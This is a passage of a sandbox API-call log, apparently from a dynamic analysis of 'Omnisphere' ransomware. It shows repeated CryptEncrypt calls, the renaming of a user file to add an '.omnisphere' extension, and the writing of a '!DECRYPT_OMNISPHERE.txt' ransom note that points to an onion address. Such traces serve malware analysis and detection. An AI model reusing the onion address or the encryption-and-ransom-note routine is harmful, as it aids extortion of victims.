hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.191] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.192] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.193] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.194] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.196] CryptDestroyKey (hKey=0x1639528) returned 1 [0069.196] CryptReleaseContext (hProv=0x1668818, dwFlags=0x0) returned 1 [0069.196] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfc7a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.196] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0069.197] GetProcessHeap () returned 0x1600000 [0069.197] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x278) returned 0x166b198 [0069.197] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yfgph0gv.swf"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yfgph0gv.swf.omnisphere")) returned 1 [0069.199] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf.omnisphere.id" [0069.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yfgph0gv.swf.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0069.200] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0069.201] CloseHandle (hObject=0x3a8) returned 1 [0069.201] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0069.202] CloseHandle (hObject=0x3a4) returned 1 [0069.202] SetEndOfFile (hFile=0x3a0) returned 1 [0069.202] FlushFileBuffers (hFile=0x3a0) returned 1 [0069.205] CloseHandle (hObject=0x3a0) returned 1 [0074.667] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0074.667] GetProcessHeap () returned 0x1600000 [0074.667] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1649e70 [0074.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.667] GetProcessHeap () returned 0x1600000 [0074.667] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f670 [0074.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f670, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0074.667] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0074.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.668] GetProcessHeap () returned 0x1600000 [0074.668] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f670 [0074.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f670, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0074.668] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0074.668] GetProcessHeap () returned 0x1600000 [0074.668] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668818 [0074.668] PathCombineW (in: pszDest=0x1668818, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0074.668] GetProcessHeap () returned 0x1600000 [0074.668] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1664cd0 [0074.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.668] WriteFile (in: hFile=0x380, lpBuffer=0x1664cd0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1664cd0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0074.668] CloseHandle (hObject=0x380) returned 1 [0074.669] GetProcessHeap () returned 0x1600000 [0074.669] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0074.669] GetProcessHeap () returned 0x1600000 [0074.669] 